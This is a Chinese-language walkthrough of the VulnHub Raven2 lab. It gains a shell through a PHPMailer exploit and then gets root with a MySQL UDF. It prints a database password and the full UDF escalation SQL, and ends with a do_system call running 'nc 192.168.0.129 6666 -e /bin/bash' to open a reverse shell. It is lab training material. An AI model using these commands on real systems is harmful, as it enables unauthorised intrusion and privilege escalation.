vulnhub-raven2(数据库提权)
环境准备:
kali-192.168.0.129
靶机-192.168.0.103
演示

访问web

存在一个/vendor目录,目录下可以发现使用了phpmailer

使用searchsploit搜索,复制到当前目录。


编辑脚本,在脚本开头加上,修改如下地方
#!/usr/bin/python # -*- coding: utf-8 -*-

之后python执行

使用nc监听,并访问http://192.168.0.103/fantan.php,即可拿到shell

接下来进行提权。
交互式shell python -c 'import pty; pty.spawn("/bin/bash")'
首先翻文件找到数据库配置文件

拿到数据库账号密码。

使用UDF来进行提权,搜索相关exp

复制到桌面后编译
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
之后桌面会生成一个udf.so,用python启一个服务
python -m http.server 8080

连接数据库
mysql -uroot -pR@v3nSecurity
查询是否可读写
show variables like '%secure%';
发现为OFF,可以进行读写
use mysql; #进入数据库 create table tiquan(line blob); #创建数据表 insert into tiquan values(load_file('/tmp/udf.so')); #插入数据 select * from tiquan into dumpfile '/usr/lib/mysql/plugin/udf.so'; #导出文件 create function do_system returns integer soname 'udf.so'; #创建自定义函数 select do_system('nc 192.168.0.129 6666 -e /bin/bash');



浙公网安备 33010602011771号